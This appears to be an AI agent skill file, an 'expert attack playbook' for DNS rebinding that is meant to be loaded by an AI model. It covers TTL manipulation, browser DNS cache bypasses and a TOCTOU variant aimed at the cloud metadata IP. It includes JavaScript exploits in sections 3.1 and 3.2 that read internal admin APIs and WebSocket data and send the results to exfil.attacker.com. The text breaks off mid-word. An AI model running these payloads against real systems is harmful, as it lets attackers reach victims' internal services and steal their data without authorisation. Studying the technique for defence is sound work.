$npx -y skills add Prohao42/aimy-skill --skill dns-rebinding-attacksDNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
| 1 | # SKILL: DNS Rebinding — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart |
| 8 | - [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead |
| 9 | |
| 10 | --- |
| 11 | |
| 12 | ## 1. CORE PRINCIPLE |
| 13 | |
| 14 | The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can: |
| 15 | |
| 16 | 1. First resolution → attacker IP (serve malicious JS) |
| 17 | 2. Second resolution → internal IP (victim's network) |
| 18 | 3. Browser considers both responses same-origin (`attacker.com`) |
| 19 | 4. Malicious JS reads responses from internal services |
| 20 | |
| 21 | ``` |
| 22 | Victim visits attacker.com |
| 23 | │ |
| 24 | ▼ |
| 25 | DNS query: attacker.com → 1.2.3.4 (attacker server) |
| 26 | Browser loads malicious JS from 1.2.3.4 |
| 27 | │ |
| 28 | ▼ |
| 29 | TTL expires (or forced flush) |
| 30 | │ |
| 31 | ▼ |
| 32 | JS triggers new request to attacker.com |
| 33 | DNS query: attacker.com → 192.168.1.1 (internal target) |
| 34 | Browser sends request to 192.168.1.1 as "attacker.com" origin |
| 35 | │ |
| 36 | ▼ |
| 37 | JS reads response — same-origin policy satisfied |
| 38 | Exfiltrates data to attacker's other endpoint |
| 39 | ``` |
| 40 | |
| 41 | **Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname. |
| 42 | |
| 43 | --- |
| 44 | |
| 45 | ## 2. TTL MANIPULATION |
| 46 | |
| 47 | ### DNS server configuration |
| 48 | |
| 49 | The attacker runs an authoritative DNS server for their domain that alternates responses: |
| 50 | |
| 51 | | Query # | Response | TTL | |
| 52 | |---|---|---| |
| 53 | | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 | |
| 54 | | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 | |
| 55 | |
| 56 | TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection. |
| 57 | |
| 58 | ### Browser DNS cache reality |
| 59 | |
| 60 | Browsers maintain their own DNS cache that **ignores low TTLs**: |
| 61 | |
| 62 | | Browser | Internal DNS Cache | Bypass Technique | |
| 63 | |---|---|---| |
| 64 | | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains | |
| 65 | | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config | |
| 66 | | Safari | ~varies | Generally shorter cache | |
| 67 | | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome | |
| 68 | |
| 69 | ### Bypass strategies |
| 70 | |
| 71 | ``` |
| 72 | 1. Multiple A records technique: |
| 73 | - Return BOTH attacker IP and target IP in single DNS response |
| 74 | - Browser tries first IP; if connection fails → falls back to second |
| 75 | - Block attacker IP after initial page load → forces fallback to internal IP |
| 76 | |
| 77 | 2. Subdomain flooding: |
| 78 | - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com... |
| 79 | - Each subdomain gets fresh DNS resolution (no cache hit) |
| 80 | |
| 81 | 3. Service worker flush: |
| 82 | - Register service worker that intercepts and delays requests |
| 83 | - By the time fetch executes, DNS cache has expired |
| 84 | ``` |
| 85 | |
| 86 | --- |
| 87 | |
| 88 | ## 3. ATTACK VARIANTS |
| 89 | |
| 90 | ### 3.1 Classic HTTP Rebinding |
| 91 | |
| 92 | Target: internal web services (admin panels, REST APIs) |
| 93 | |
| 94 | ```javascript |
| 95 | // Served from attacker.com (first DNS resolution → attacker IP) |
| 96 | async function exploit() { |
| 97 | // Wait for DNS cache to expire |
| 98 | await sleep(65000); // >60s for Chrome |
| 99 | |
| 100 | // This request now resolves to internal IP |
| 101 | const resp = await fetch('http://attacker.com:8080/api/admin/users'); |
| 102 | const data = await resp.text(); |
| 103 | |
| 104 | // Exfiltrate to different attacker endpoint |
| 105 | navigator.sendBeacon('https://exfil.attacker.com/log', data); |
| 106 | } |
| 107 | ``` |
| 108 | |
| 109 | ### 3.2 WebSocket Rebinding |
| 110 | |
| 111 | WebSocket connections persist after DNS rebinding. Establish WS, then rebind: |
| 112 | |
| 113 | ```javascript |
| 114 | // After rebinding, WebSocket connects to internal service |
| 115 | const ws = new WebSocket('ws://attacker.com:9090/ws'); |
| 116 | ws.onopen = () => { |
| 117 | ws.send('{"action":"dump_config"}'); |
| 118 | }; |
| 119 | ws.onmessage = (e) => { |
| 120 | fetch('https://exfil.attacker.com/ws-data', { |
| 121 | method: 'POST', |
| 122 | body: e.data |
| 123 | }); |
| 124 | }; |
| 125 | ``` |
| 126 | |
| 127 | ### 3.3 Time-of-Check-to-Time-of-Use (TOCTOU) |
| 128 | |
| 129 | Server-side applications that validate DNS at request time but reuse the connection: |
| 130 | |
| 131 | ``` |
| 132 | 1. Application receives URL: http://attacker.com/callback |
| 133 | 2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation |
| 134 | 3. Server opens connection / follows redirect |
| 135 | 4. DNS changes: attacker.com → 169.254.169.254 |
| 136 | 5. Connection reuse or redirect hits internal IP |
| 137 | ``` |
| 138 | |
| 139 | This is a hybri |